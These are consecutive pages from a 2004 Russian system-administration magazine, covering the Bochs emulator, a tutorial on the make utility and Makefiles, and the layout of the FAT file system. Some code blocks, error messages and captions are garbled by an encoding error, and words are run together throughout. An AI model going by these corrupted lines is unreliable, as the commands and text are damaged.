Прежде чем переходить к обсуждению возможностейBochs, ответим на один простой вопрос: зачем он вообщенужен? В случае с эмуляторами ZX-Spectrum все ясно –они позволяют вдохнуть новую жизнь в старые добрыеигры. Естественно, никто не запрещает использоватьBochs и в этих целях. Его часто применяют для запускаигр, написанных под DOS, а запуском в Bochs старых вер-сий Linux даже занимается специальный проект «ИсторияLinux» (http://www.linuxcenter.ru/history). Но, конечно, у

Bochs есть и другие области применения. Так, его оченьудобно использовать для знакомства с новыми ОС и вкачестве полигона для различных экспериментов надними. Bochs позволяет избежать малоприятной процеду-ры переразбиения жесткого диска и уменьшает опасностьпотери данных, сопутствующую опытам над реальнымисистемами. Кроме того, при помощи Bochs можно выпол-нять приложения Win32 в Linux (и наоборот). Правда, дляэтого потребуется лицензионная копия ОС и место дляхранения дискового образа. Отметим, что Bochs эмули-рует работу оборудования, а не конкретной операцион-ной системы (для этого есть dosemu, WINE и т. п.), поэто-му в нем работают программы, использующие недокумен-тированные возможности и прочие «трюки». Отдельная(и весьма специфичная) сфера применения Bochs – от-ладка ядер операционных систем (о возможностях встро-енного отладчика Bochs – чуть ниже). И наконец, при по-мощи Bochs можно запускать приложения, написанныедля x86, на других аппаратных платформах.

Возможности BochsBochs эмулирует IBM-совместимый компьютер классаPentium (имеется частичная поддержка Pentium Pro, на-бора инструкций MMX, а начиная с версии 2.1pre1 – SSEи AMD 3DNow!), к которому можно «подключить»:! Видеоадаптер VGA/SVGA. Разрешение – вплоть до

1024x768x32bpp (для Bochs 2.1pre1) или 1024x768x8bpp(для более ранних версий).

! 3.5/5.25-дюймовый дисковод. В качестве дискеты мо-жет использоваться файловый образ, а в Unix/Windows2000 – реальный привод.

! Жесткий диск объемом до 32 Гб – в форме файловогообраза. Начиная с версии 2.1pre1, Bochs поддержива-ет простые (flat), «разреженные» (sparse) и «растущие»(growing) образы, а также умеет откатывать (rollback)сделанные в них изменения. В Unix имеется возмож-ность работы с реальным жестким диском (посред-ством файлов блочных устройств /dev/hd*), однако это-го не рекомендуется делать по соображениям безопас-ности.

! Привод ATAPI-4/IDE CDROM – «компакт-диск» можетбыть представлен своим ISO-образом или вставлен вреальный привод.

! Клавиатуру PS/2 и двухкнопочную мышь PS/2.! NE2000-совместимую сетевую карту, с помощью ко-

торой гостевая ОС может связываться с другими ма-шинами в своей локальной сети или даже выходить вИнтернет.

! Звуковую карту, совместимую с SoundBlaster 16. ВLinux, FreeBSD и Windows возможна работа с аудио-платой хост-системы.

! Параллельный и последовательный порты. Вывод мо-жет перенаправляться в файл или на физическое уст-ройство (только в Unix).

Кроме этого, Bochs поддерживает подключаемые мо-дули-«плагины» (только в Unix и Cygwin, в форме плаги-нов, например, могут быть выполнены дополнительныеустройства) и загрузку со всех доступных типов носите-

Page 38: 015 Системный Администратор 02 2004

36

администрирование

лей (Floppy, HDD, CD-ROM), имитирует шину PCI (в рам-ках Host-to-PCI bridge и Primary Memory Controller), USB(только корневой разветвитель), SMP (Bochs может эму-лировать до 15 процессоров, но в данный момент никакне использует физическую многопроцессорность хост-системы). Реализация сетевой карты в Unix-версиях Bochsимеет одну забавную особенность: в ряде случаев госте-вая ОС не может связываться по сети с хост-системой.Для решения этой проблемы используются TUN/TAP-ин-терфейсы. Для работы с сетью в Windows требуется до-полнительная библиотека WinPcap (http://winpcap.polito.it/),которая также распространяется свободно. На всех плат-формах (кроме Amiga) Bochs работает в оконном (не пол-ноэкранном) режиме. Пример окна Bochs с запущеннымв нем MCC Interim Linux можно увидеть на рисунке.

Из этих «кирпичиков» можно собирать систему, удов-летворяющую требованиям конкретной задачи: указатьобъем оперативной памяти, настроить быстродействие(естественно, гостевая ОС в любом случае будет рабо-тать медленнее, чем в native-режиме), подобрать аппарат-ную конфигурацию и т. д. По умолчанию Bochs стремитсяработать c как можно большей скоростью, что, к сожале-нию, имеет свой побочный эффект – «ускорение време-ни» (часы в гостевой ОС начинают идти быстрее, чем вхост-системе). Во избежание этого их можно принудитель-но синхронизировать, правда, эта функция до сих пор по-мечена как «экспериментальная».

Настройка Bochs производится до запуска путем ре-дактирования конфигурационного файла и во время ра-боты – через пользовательский интерфейс. В большин-стве случаев вам придется довольствоваться текстовыминтерфейсом (рисунок в низу), хотя Bochs можно собратьс поддержкой кросс-платформенной GUI-библиотекиwxWindows (http://www.wxwindows.org).

Весьма интересной частью Bochs является такжевстроенный отладчик командной строки. Данный инст-румент позволяет прерывать работу гостевой ОС в про-извольный момент времени, изучать содержимое регис-тров процессора и памяти, назначать точки останова(«breakpoints2) и т. п. Это может быть полезно разработ-чикам операционных систем, а также всем желающимпоглубже разобраться с их устройством (например, призанятии reverse engineering).

Page 39: 015 Системный Администратор 02 2004

37№2(15), февраль 2004

администрирование

Ложка дегтяДревнегреческий философ Платон утверждал, что осяза-емые нами вещи есть суть отражения их безупречныхидей. Это в полной мере относится и к программному обес-печению. Никакой продукт не свободен от недостатков, иBochs не исключение.

Первый, и он же основной минус виртуальной машины –это скорость работы. Bochs не слишком хорошо подходитдля динамичных 3D-игр, просмотра видео и тому подобныхвещей. Конечно, скорость эмуляции в каждом конкретномслучае определяется возможностями хост-системы.

Второй, менее очевидный недостаток – это тип под-держиваемых устройств. Bochs (в той или иной степени)имитирует практически всю периферию, но только стан-дартные («generic») модификации. В этом нет ничего пло-хого, но иногда возникает желание понаблюдать за пове-дением системы при использовании вполне конкретногооборудования. Так, при работе над уже упоминавшейся«Историей Linux» мы столкнулись со следующей пробле-мой: ранние версии сервера XFree86, которые включеныв большинство старых дистрибутивов Linux, не поддер-живали VESA-режимы, зато неплохо работали с видео-

картами S3, Trident и т. п. Если бы Bochs имитировал ра-боту какого-либо из этих адаптеров, мы смогли бы запус-тить X Window System в достаточно высоком разрешениии с хорошей глубиной цвета. В реальности же пришлосьдовольствоваться видеорежимом 640x480x4, что, бесспор-но, лучше, чем ничего, но все же не совсем то, что хоте-лось бы. Радует, что данную проблему можно решить, немодифицируя исходный код Bochs, а именно путем напи-сания соответствующего плагина. Однако при моделиро-вании реально существующего оборудования возникаюттакже некоторые юридические аспекты (не все произво-дители hardware открыто публикуют свои спецификации),обсуждение которых выходит за рамки данной статьи.

Подведем итоги. Bochs – не слишком известный, новесьма полезный инструмент, распространяющийся сво-бодно вместе с исходным кодом. Продукт имеет офици-альный статус «Beta», однако, как показывает практика,он вполне стабилен и может оказать помощь при реше-нии большинства задач. Это, безусловно, не панацея отпроблем, возникающих при обновлении и настройке ком-пьютерных систем, но средство сделать все необходимыеоперации «малой кровью».

Page 40: 015 Системный Администратор 02 2004

38

администрирование

make для пользователейНачнём с самого начала. Самое главное, но далеко не пос-леднее применение утилиты make – это автоматическаясборка (компиляция) программ. И хотя большинство про-грамм для Linux могут быть получены в двоичном (то естьв скомпилированном виде, в пакетах .deb, .tgz или .rpm), впроцессе работы с Linux вам наверняка потребуется со-брать программу самостоятельно из исходного кода.

Итак, вы загрузили архив с исходниками программы,скорее всего в виде tarball, т.е. сжатого tar-архива. Рас-пространены две программы сжатия: gzip и bzip2 (после-дняя сжимает файлы лучше, но медленнее). Имена фай-лов таких архивов оканчиваются соответственно на .tar.gz(или .tgz) и tar.bz2 (или .tbz). Распакуйте архив командой:

Другой вид распространения исходных кодов – в паке-тах .src.rpm, в этом случае просто установите такой пакеткак обычно, и исходники появятся в каталоге /usr/src/RPM/SOURCES.

Первым этапом в сборке программы является настрой-ка командой ./configure (она определяет параметры сис-темы и создает Makefile, наиболее подходящий для дан-ной конфигурации), но нас интересует следующий шаг –сама компиляция при помощи команды make.

В большинстве случаев для сборки программы доста-точно ввести только саму команду make, без каких-либодополнительных параметров. По мере выполнения на эк-ран будут выводиться команды, исполняемые при компи-ляции. Процесс этот может быть довольно долгим, в за-висимости от скорости вашего компьютера.

Когда управление будет возвращено оболочке, т.е.появится приглашение ввода команд, внимательно про-смотрите последние несколько строк, выведенных коман-дой make. Если среди них есть «Error», или «Ошибка»,это значит, что программа не скомпилировалась. Это мо-жет быть вызвано множеством причин: отсутствием ка-ких-либо пакетов, ошибкой в программе, отсутствием правзаписи в какой-либо файл или каталог и т. д. Еще раз вни-мательно перечитайте файлы README и INSTALL в ката-логе с исходниками программы.

РАБОТА С УТИЛИТОЙ make

АНТОН ИВАНОВ

В статье на конкретных примерахрассматриваются варианты примененияутилиты make как пользователями,так и разработчиками.

tar xzvf èìÿ_ôàéëà.tar.gzèëètar xjvf èìÿ_ôàéëà.tar.bz2

Обратите внимание, что в процессе компиляции можетпоявляться множество предупреждений («warnings»). Ониобычно вызываются небольшими несоответствиями стандар-ту Cи; скорее всего, они не приведут к ошибке компиляции.

Если вы сомневаетесь, нормально ли скомпилирова-лась программа, сразу же после завершения работы makeвыполните команду:

На экран будет выведен код возврата программы. Онпоказывает, успешно ли завершилось выполнение про-граммы. Если он равен нулю, то всё нормально, если от-личен от нуля – произошла ошибка.

После команды make можно указывать цели сборки.Цель – это то, что нужно сделать программе make. В боль-шинстве случаев, если цель не указана, то происходитсборка программы. Если выполнить команду:

то произойдет установка программы. Обратите внимание,что при выполнении этой команды файлы скорее всегобудут скопированы в каталоги, в которые доступ на за-пись для простых пользователей закрыт. Поэтому вамнужно либо получить права суперпользователя (вы ведьне работаете постоянно под root, правда?), либо исполь-зовать программу su:

Иногда, чтобы освободить место на диске, или при пе-рекомпиляции требуется удалить результаты предыдущейсборки – объектные файлы (*.o), двоичные файлы про-граммы и другие временные файлы. Для этого нужно вы-полнить команду:

Эта команда удалит вышеуказанные файлы. Опера-ция затронет только файлы в каталоге исходников, т.е.уже установленные в системные каталоги при помощикоманды make install файлы затронуты не будут.

echo $?

make install

su -c make install

make clean

Page 41: 015 Системный Администратор 02 2004

39№2(15), февраль 2004

администрирование

Вероятность того, что программа соберется правиль-но, все-таки есть, особенно, если ошибка была при обра-ботке несущественных файлов, таких как файлы докумен-тации. Если же ничего не вышло – попробуйте задать воп-рос на каком-нибудь форуме, например, на linux.org.ru.

Теперь давайте заглянем внутрь Makefile. Попробуемего немного поизменять. Откройте в своем любимом тек-стовом редакторе, например, Makefile из исходного кодаLinux (если у вас установлены исходники Linux, то это /usr/src/linux/Makefile). Посмотрите на самые первыестрочки:

Это переменные, используемые в дальнейшем при сбор-ке ядра. Поменяв их значения, например, так:

и пересобрав ядро, вы можете потом хвастаться перед дру-зьями командой uname -r, которая будет показывать достав-шуюся вам сверхсекретную версию ядра (3.0.0.topsecret).

Если же говорить о практическом применении, то иног-да вам может потребоваться немного изменить Makefile,скажем, для того, чтобы исключить компиляцию какой-либо программы из большого пакета утилит. Пример: вызагрузили свежую версию утилит KDE (пакет kdeutils). Нокакая-то программа из этого пакета никак не компилиру-ется, и make -i не помогает. Допустим, программой, накоторой происходит ошибка, является kedit. Откройтеkdeutils/Makefile. Теперь просто найдите все встречающи-еся слова «kedit» (в редакторе vim для этого введите /kedit)и удалите их:

Это список подкаталогов с исходным кодом различ-ных программ. Утилита make по очереди заходит в каж-дый из них и выполняет Makefile, находящийся в этомподкаталоге. Удалите слово kedit, сохраните файл и сно-ва запустите make. Вы увидите, что сборка kedit будетпропущена.

make для разработчиковПока ваша программа состоит из одного файла, прощевсего компилировать ее командой:

Теоретически можно и всю программу поместить водин файл. Однако принято разделять код на несколькофайлов, в больших проектах их десятки и сотни.

Для примера создадим простую программу на C, вы-числяющую квадрат числа. Она будет состоять из двухфайлов: главного (main.c) и kvadrat.c, содержащего функ-

Если вы хотите привести исходники программы к пер-воначальному состоянию, т.е. удалить не только двоич-ные файлы, но и config.log, Makefile и другие, созданныескриптом ./configure, введите:

Теперь для повторной сборки программы вам нужнобудет снова запустить ./configure.

И наконец, чтобы отменить действие команды makeinstall, т.е. удалить установленную программу, нужно, какнетрудно догадаться, выполнить:

Как и для make install, этой команде могут потребо-ваться права root.

Иногда при запуске make вы можете получить такиесообщения об ошибке:

Это связано с тем, что при запуске утилита make ищетв текущем каталоге файл с именем Makefile или makefile(различный регистр символов). Если его нет, выдаетсяпервое сообщение. Что делать в таком случае? В пер-вую очередь проверьте, не забыли ли вы запустить скрипт./configure, ведь именно он создает Makefile. Если при вы-полнении ./configure произошла ошибка, Makefile не бу-дет создан! Во-вторых, проверьте, нет ли в каталоге сисходниками какого-то другого подобного файла:

Например, вы можете получить список файлов типаMakefile.linux, Makefile.hpux, Makefile.macosx. Это значит,что для компиляции одной и той же программы на разныхплатформах автор предусмотрел несколько вариантовMakefile. Другой вариант – если вы загрузили исходныйкод из CVS, файл будет назван Makefile.cvs. Учтите, чтоMakefile.in и Makefile.am не относятся к Makefile, это всеголишь заготовки для создания Makefile. Итак, если вы на-шли нужный Makefile, запустите make с ключом -f, напри-мер, так:

Второе из приведенных выше сообщений об ошибкеможет появляться, если автор Makefile не предусмотрелтакую цель (в данном случае – uninstall, т.е. автоматичес-кое удаление программы невозможно), или, опять же, еслиотсутствует Makefile.

Вы начали компилировать программу, но вдруг... Ошиб-ка 1. Что делать? Для начала еще раз перечитайте доку-ментацию к программе. Если ситуация не прояснилась,попробуйте запустить make с ключом -i, означающим «иг-норировать все ошибки»:

VERSION = 2PATCHLEVEL = 6SUBLEVEL = 1EXTRAVERSION =

VERSION = 3PATCHLEVEL = 0SUBLEVEL = 0EXTRAVERSION = topsecret

TOPSUBDIRS = <...> kdf kedit kfloppy <...>

cc main.c

make distclean

make uninstall

make: *** Íå çàäàíû öåëè è íå íàéäåí make-ôàéë. Îñòàíîâ.make: *** Íåò ïðàâèëà äëÿ ñáîðêè öåëè 'uninstall'. Îñòàíîâ.

ls Makefile*

make -f Makefile.cvs

make -i

Page 42: 015 Системный Администратор 02 2004

40

администрирование

цию возведения в квадрат. Ниже приведен исходный кодэтой программы:

Заранее скажу, что и эту программу можно скомпили-ровать довольно быстро без помощи Makefile командойcc *.c. Но мы все будем делать «по-правильному».

Сборка программы у нас будет разбита на два этапа:препроцессинг и компиляция, т.е. преобразование исход-ного кода в объектный код (файлы *.o), и сборка и лин-ковка, т.е. объединение .o-файлов в один исполняемыйфайл и подключение динамических библиотек. Первыйэтап выполняется командой «gcc -c -o», второй – «gcc -o».gcc при запуске пытается осуществить все этапы сборкипрограммы; параметр -c означает, что нужно только полу-чить объектные файлы.

Итак, как вы уже знаете, утилита make ищет файл сименем Makefile. Создайте его.

Makefile состоит из набора т.н. правил. Они, в своюочередь, состоят из трех частей: цель (то, что должно бытьполучено в результате выполнения правила); зависимос-ти (что требуется для получения цели); команды, которыедолжны быть выполнены для сборки цели. Общий синтак-сис правил таков:

Давайте рассуждать логически. Нам требуется собратьпрограмму, пусть имя ее исполняемого файла будет «kv».У нас два файла с исходным кодом, каждый из них дол-жен быть преобразован в .o-файл (принято называтьобъектные файлы так же, как и исходные файлы, но срасширением .o; в нашем случае это будут main.o иkvadrat.o). Именно они необходимы для сборки исполняе-мого файла, значит, они являются зависимостями. Ну апро команды уже было сказано выше. Итак, Makefile дол-жен выглядеть так:

Здесь нужно обратить внимание на несколько особен-ностей:! параметр -o у cc указывает имя файла, получаемого в

результате операции;! в качестве зависимостей у целей main.o и kvadrat.o ука-

заны соответствующие им файлы исходного кода, ноэто вовсе не обязательно делать. Если, скажем, файлmain.c будет отсутствовать, cc и так выведет сообще-ние об этом. Но главная причина, по которой вам ненужно лениться и всегда указывать эту зависимость,описана чуть ниже;

! при сборке конечной цели вызывается не только cc, нои программа strip. Она позволяет зачастую значитель-но сократить размер выполняемого файла, удалив изнего отладочную информацию.

Для понятности я опишу логику работы утилиты makeс этим Makefile: сначала проверяется наличие файлаmain.o – первой зависимости у цели kv. Если его нет, товыполняется его компиляция, если есть, то проверяется,не был ли изменен файл main.c с момента последней егокомпиляции (вот зачем нужно указывать main.c как зави-симость для main.o!). Если он был изменен, он компили-руется заново. Если же он не был изменен, то просто про-пускается; таким образом при повторной сборке можнозначительно сократить затрачиваемое время.

Далее та же проверка происходит и для kvadrat.o, икак только будут получены main.o и kvadrat.o, включаю-щие все изменения в исходном коде, начнется сборка ис-полняемого файла.

Итак, сохраните Makefile и запустите make. Должныпоявиться два .o-файла и сам исполняемый файл kv. Дляпроверки запустите его:

Теперь давайте добавим в Makefile еще одну цель:clean. При вводе make clean должны удаляться три полу-ченных в результате компиляции файла. Допишите в ко-нец Makefile такие строки:

Сохранив Makefile, введите make clean. Все три двоич-ных файла будут удалены.

Теперь создадим последнюю цель – install. Она будетслужить для копирования двоичного файла программы всистемный каталог.

Тут есть несколько вариантов. Во-первых, можно сде-лать так, чтобы при выполнении make install проверялось,была ли уже скомпилирована программа, и если нет, топеред установкой выполнялась бы ее компиляция (логич-но, не правда ли?). Это можно сделать, указав kv в каче-стве зависимости. Во-вторых, для копирования програм-мы в системный каталог можно использовать или тради-ционный метод – утилиту cp, а можно – специально пред-назначенную для этого программу install. Она может при

öåëü: çàâèñèìîñòü_1 çàâèñèìîñòü_2 çàâèñèìîñòü_Nêîìàíäà_1êîìàíäà_N

kv: main.o kvadrat.occ -o kv main.o kvadrat.ostrip kv

main.o: main.ccc -c -o main.o main.c

./kv

clean: rm -f *.o kv

main.c:#include <stdio.h>int main(){

int a, rslt;printf("Program calculates the square of a number.\n");printf("Please enter an integer: ");scanf("%d", &a);rslt = kvadrat(a);printf("%d x %d = %d\n", a, a, rslt);return 0;

}kvadrat.c:int kvadrat(number){ return number * number;}

kvadrat.o: kvadrat.ccc -c -o kvadrat.o kvadrat.c

Page 43: 015 Системный Администратор 02 2004

41№2(15), февраль 2004

администрирование

установке заодно изменять права доступа к программе,удалять из нее отладочную информацию (но мы это ужепредусмотрели при помощи команды strip); нам же пона-добится такая возможность, как автоматическое созда-ние каталогов по указанному пути. Возможно, это звучитзапутанно, так что я поясню. Мы установим программу вкаталог /opt/kv/ (каталог /opt предназначен для храненияпользовательских программ, необязательных для функ-ционирования системы). Разумеется, этого каталога ещене существует, поэтому, если бы мы использовали дляустановки команду «cp kv /opt/kv/», это привело бы к ошиб-ке. Если же использовать команду install с ключом -D, онаавтоматически создаст все отстутствующие каталоги. Кро-ме того, нам нужно будет сделать так, чтобы никто, кромеroot, не мог выполнять программу, а смог только считы-вать ее файл (права доступа r-xr--r--, или 544 в восьме-ричном виде).

Добавьте в конец Makefile следующие строки:

Запустите make install, затем введите команду:

чтобы убедиться в правильности установки.После параметра -m у команды install указываются

права доступа, предпоследним параметром – файл, кото-рый нужно скопировать, последним параметром являет-ся каталог назначения с именем файла (т.е. исполняемыйфайл можно установить под другим именем, введя, на-пример, /opt/kv/program_name в качестве последнего па-раметра).

Теперь поговорим о переменных. Представьте, чтовам нужен Makefile для более сложного проекта, где вкаталог назначения копируется одновременно несколь-ко файлов. Вы укажете путь установки для каждого изних, например, так:

Но вдруг вам потребовалось изменить путь установ-ки. Вам придется поменять параметр у каждой команды.И хотя это можно сделать относительно быстро при помо-щи команды «заменить» в текстовом редакторе, прощевсего определить переменную один раз в начале Makefileи потом использовать ее (при необходимости изменяятолько ее значение). Добавьте в начало Makefile опреде-ление переменной:

И затем измените команду install таким образом:

На что здесь нужно обратить внимание:! в объявлении переменной указывается просто ее имя,

а когда вы ее используете – знак $ и имя;

! если имя переменной состоит более чем из одного сим-вола, при ее использовании нужно заключать такое имяв скобки;

! нужно или нет ставить косую черту в значении перемен-ной (/opt/kv/ или /opt/kv)? Ответ: лучше перестраховатьсяи поставить. Как вы можете заметить, в команде уста-новки косая черта идет подряд дважды: /opt/kv//kv (однакосая черта из значения переменной, другая – из записи$(INSTALL_PATH)/kv). Это не приведет к ошибке – вы мо-жете поставить символ «/» хоть десять раз подряд. А вотесли забудете поставить ее хотя бы один раз, то резуль-таты, ясное дело, будут отличаться от ожидаемых.

Теперь рассмотрим такой момент: допустим, нужновыполнить некоторую команду и присвоить переменнойвыводимое этой командой значение. Например, если дляразных версий ядра Linux существуют разные версии ва-шей программы. В таком случае при выполнении установ-ки программы на системе с ядром 2.6.1 можно установитьее в каталог /opt/kv/2.6.1/, а если система запущена с яд-ром 2.4.24 – в каталог /opt/kv/2.4.24/. Версию ядра можноопределить при помощи команды uname -r (попробуйтевыполнить ее, чтобы посмотреть вашу версию ядра). Воп-рос в том, как же передать полученное значение перемен-ной? Очень просто:

Теперь установка будет производиться в каталог /opt/kv/версия_вашего_ядра/. Обратите внимание на косыекавычки: они вводятся при помощи Shift+~ (крайняя ле-вая клавиша в ряду кнопок с цифрами).

И последнее: а ведь make может использоваться не толь-ко для компиляции программ! Например, можно использо-вать Makefile для сборки документации, да и вообще дляавтоматизации любой работы. Для примера можно создатьпрограмму, которая по команде make автоматически опре-деляет, какие из трех файлов с именами «1», «2», «3» из-менились, и при необходимости выполняет их резервноекопирование в каталог backup, а по окончании работы вы-водит сообщение «Backup completed»:

Домашнее задание для вас: разберитесь, как работа-ет этот пример, а к первому добавьте цель uninstall, так,чтобы при выполнении команды make uninstall установ-ленная программа удалялась.

Если вас заинтересовала эта тема, прочитайте руко-водства «man install», «man make», а также GNU MakeManual по адресу http://www.gnu.org/software/make/manual/html_mono/make.html.gz (150 Кб). И главное – больше экс-периментируйте!

install: kvinstall -D -m 544 kv /opt/kv/kv

ls -gh /opt/kv/kv

install <ïàðàìåòðû> /opt/kv/file1install <ïàðàìåòðû> /opt/kv/file2 è ò.ä.

INSTALL_PATH = /opt/kv/

install -D -m 544 kv $(INSTALL_PATH)/kv

INSTALL_PATH = /opt/kv/`uname -r`/

backup: backup/1 backup/2 backup/3 : Backup completedbackup/1: 1 cp 1 ~/backupbackup/2: 2 cp 2 ~/backupbackup/3: 3 cp 3 ~/backup

Page 44: 015 Системный Администратор 02 2004

42

администрирование

АРХИТЕКТУРА ФАЙЛОВОЙ СИСТЕМЫ FAT

ВЛАДИМИР МЕШКОВ

Page 45: 015 Системный Администратор 02 2004

43№2(15), февраль 2004

администрирование

Общая характеристика файловойсистемы FAT. Структура разделас файловой системой FATФайловая система FAT (File Allocation Table) была раз-работана Биллом Гейтсом и Марком Макдональдом в1977 году и первоначально использовалась в операци-онной системе 86-DOS. Чтобы добиться переносимос-ти программ из операционной системы CP/M в 86-DOS,в ней были сохранены ранее принятые ограничения наимена файлов. В дальнейшем 86-DOS была приобре-тена Microsoft и стала основой для ОС MS-DOS 1.0, вы-пущенной в августе 1981 года. FAT была предназначенадля работы с гибкими дисками размером менее 1 Мб ивначале не предусматривала поддержки жёстких дис-ков. Структура раздела FAT изображена на рисунке.

В файловой системе FAT дисковое пространство ло-гического раздела делится на две области – системнуюи область данных (см. рис. 1). Системная область созда-ется и инициализируется при форматировании, а впос-ледствии обновляется при манипулировании файловойструктурой. Системная область файловых систем FATсостоит из следующих компонентов:! загрузочная запись (boot record, BR);! резервная область;! таблицы размещения файлов;! область корневого каталога (не существует в FAT32).

Область данных логического диска содержит фай-лы и каталоги, подчиненные корневому, и разделена научастки одинакового размера – кластеры. Кластер мо-жет состоять из одного или нескольких последователь-но расположенных на диске секторов. Число секторовв кластере должно быть кратно 2N и может приниматьзначения от 1 до 64. Размер кластера зависит от типаиспользуемой файловой системы и объема логическо-го диска.

Назначение, структура и типы таблицыразмещения файловСвоё название FAT получила от одноимённой таблицыразмещения файлов – File Allocation Table, FAT. В табли-це размещения файлов хранится информация о класте-рах логического диска. Каждому кластеру соответству-ет элемент таблицы FAT, содержащий информацию отом, свободен данный кластер или занят данными фай-ла. Если кластер занят под файл, то в соответствующемэлементе таблицы размещения файлов указывается ад-

рес кластера, содержащего следующую часть файла. Но-мер начального кластера, занятого файлом, хранится вэлементе каталога, содержащего запись об этом файле.Последний элемент списка кластеров содержит признакконца файла (EOF – End Of File). Первые два элементаFAT являются резервными.

Файловая система FAT всегда заполняет свободное ме-сто на диске последовательно от начала к концу. При со-здании нового файла или увеличении уже существующе-го она ищет самый первый свободный кластер в таблицеразмещения файлов. Если в процессе работы одни фай-лы были удалены, а другие изменились в размере, то по-являющиеся в результате пустые кластеры будут рассея-ны по диску. Если кластеры, содержащие данные файла,расположены не подряд, то файл оказывается фрагмен-тированным.

Существуют следующие типы FAT – FAT12, FAT16,FAT32. Названия типов FAT ведут свое происхождение отразмера элемента: элемент FAT12 имеет размер 12 бит(1,5 байт), FAT16 – 16 бит (2 байта), FAT32 – 32 бита (4 бай-та). В FAT32 четыре старших двоичных разряда зарезер-вированы и игнорируются в процессе работы операцион-ной системы.

Корневой каталогЗа таблицами размещения файлов следует корневой ка-талог. Каждому файлу и подкаталогу в корневом ката-логе соответствует 32-байтный элемент каталога(directory entry), содержащий имя файла, его атрибуты(архивный, скрытый, системный и «только для чтения»),дату и время создания (или внесения в него последнихизменений), а также прочую информацию. Для файло-вых систем FAT12 и FAT16 положение корневого катало-га на разделе и его размер жестко зафиксированы. ВFAT32 корневой каталог может быть расположен в лю-бом месте области данных раздела и иметь произволь-ный размер.

Форматы имен файловОдной из характеристик ранних версий FAT (FAT12 иFAT16) является использование коротких имен файлов.Короткое имя состоит из двух полей – 8-байтного поля,содержащего собственно имя файла, и 3-байтного поля,содержащего расширение (формат «8.3»). Если введен-ное пользователем имя файла короче 8 символов, то онодополняется пробелами (код 0x20); если введенное рас-ширение короче трёх байтов, то оно также дополняетсяпробелами.

Структура элемента каталога для короткого именифайла представлена в таблице 1.

Первый байт короткого имени выполняет функции при-знака занятости каталога:! если первый байт равен 0xE5, то элемент каталога

свободен и его можно использовать при создании но-вого файла;

! если первый байт равен 0x00, то элемент каталогасвободен и является началом чистой области ката-лога (после него нет ни одного задействованного эле-мента).

Ðèñóíîê 1. Ñòðóêòóðà ðàçäåëà ñ ôàéëîâîé ñèñòåìîé FAT

Page 46: 015 Системный Администратор 02 2004

44

администрирование

На использование ASCII-символов в коротком именинакладывается ряд ограничений:! нельзя использовать символы с кодами меньше 0x20

(за исключением кода 0x05 в первом байте короткогоимени);

! нельзя использовать символы с кодами 0x22, 0x2A,0x2B, 0x2C, 0x2E, 0x2F, 0x3A, 0x3B, 0x3C, 0x3D, 0x3E,0x3F, 0x5B, 0x5C, 0x5D, 0x7C;

! нельзя использовать символ пробела (0x20) в первомбайте имени.

В файловых системах FAT32 и VFAT (виртуальная FAT,расширение FAT16) включена поддержка длинных именфайлов (long file name, LFN). Для хранения длинногоимени используются элементы каталога, смежные с ос-новным элементом. Имя файла записывается не ASCII-символами, а в Unicode. В одном элементе каталога мож-но сохранить фрагмент длиной до 13 символов Unicode.Неиспользованный участок последнего фрагмента запол-няется кодами 0xFFFF. Структура элемента каталога длядлинного имени файла представлена в таблице 2.

Длинное имя записывается в каталог первым, причемфрагменты размещены в обратном порядке, начиная споследнего. Вслед за длинным (полным) именем разме-щается стандартный описатель файла, содержащий уко-роченный по специальному алгоритму вариант этого име-ни. Пример хранения длинного имени файла показанздесь: http://www.ntfs.com/fat-filenames.htm

Загрузочный секторВ первом секторе логического диска с системой FAT рас-полагается загрузочный сектор и блок параметров BIOS.Начальный участок данного блока для всех типов FATидентичен (таблица 3). Различия в структуре загрузоч-ных секторов для разных типов FAT начинаются со сме-щения 0x24. Для FAT12 и FAT16 структура имеет вид, по-казанный в таблице 4, для FAT32 – в таблице 5.

Кроме перечисленных в таблицах 2-го и 3-го полей,нулевой сектор логического диска должен содержать вбайте со смещением 0x1FE код 0x55, а в следующем бай-те (смещение 0x1FF) – код 0xAA. Указанные два байтаявляются признаком загрузочного диска.

Òàáëèöà 2. Ñòðóêòóðà ýëåìåíòà êàòàëîãà äëÿ äëèííîãî èìåíèôàéëà

Òàáëèöà 3. Íà÷àëüíûé ó÷àñòîê çàãðóçî÷íîãî ñåêòîðà

Òàáëèöà 4. Ñòðóêòóðà çàãðóçî÷íîãî ñåêòîðà FAT12/FAT16

Òàáëèöà 5. Ñòðóêòóðà çàãðóçî÷íîãî ñåêòîðà FAT32

Òàáëèöà 1. Ñòðóêòóðà ýëåìåíòà êàòàëîãà äëÿ êîðîòêîãî èìåíèôàéëà

Page 47: 015 Системный Администратор 02 2004

45№2(15), февраль 2004

администрирование

Таким образом, загрузочный сектор выполняет двеважные функции: описывает структуру данных на диске,а также позволяет осуществить загрузку операционнойсистемы.

На логическом диске с организацией FAT32 дополни-тельно присутствует структура FSInfo, размещаемая впервом секторе резервной области. Эта структура со-держит информацию о количестве свободных кластеровна диске и о номере первого свободного кластера в таб-лице FAT. Формат структуры описан в таблице 6.

Для доступа к содержимому файла, находящемуся наразделе с файловой системой FAT, необходимо получитьномер первого кластера файла. Этот номер, как мы ужеустановили, входит в состав элемента каталога, содер-жащего запись о файле. Номеру первого кластера соот-ветствует элемент таблицы FAT, в котором хранится ад-рес кластера, содержащего следующую часть файла.Элемент FAT, соответствующий последнему кластеру вцепочке, содержит сигнатуру конца файла. Для FAT12 этозначение составляет 0xFFF, для FAT16 – 0xFFFF, дляFAT32 – 0xFFFFFFFF.

Рассмотрим программную реализацию алгоритма чте-ния для каждого типа FAT, и начнём с FAT16.

Все исходные тексты, рассматриваемые в статье, до-ступны на сайте журнала.

Программная реализация алгоритмачтения файла с логического разделас файловой системой FAT16Разработаем модуль, выполняющий чтение N первыхкластеров файла, созданного на разделе с файловой си-стемой FAT16. Параметр N (число кластеров для считы-вания) является переменной величиной и задаетсяпользователем. Имя файла соответствует формату «8.3»,т.е. является коротким. Модуль функционирует под уп-равлением ОС Linux.

Определим необходимые заголовочные файлы:

Заголовочный файл split.h имеет следующее содер-жание:

Cтруктура split_name предназначена для хранения со-ставных частей короткого имени файла (имени и расши-рения) и их длин.

В заголовочном файле <linux/msdos_fs.h> определе-ны структурные типы, описывающие основные компонен-ты файловой системы FAT – загрузочный сектор, секторFSInfo, структуры элементов каталога для короткого идлинного имён файлов.

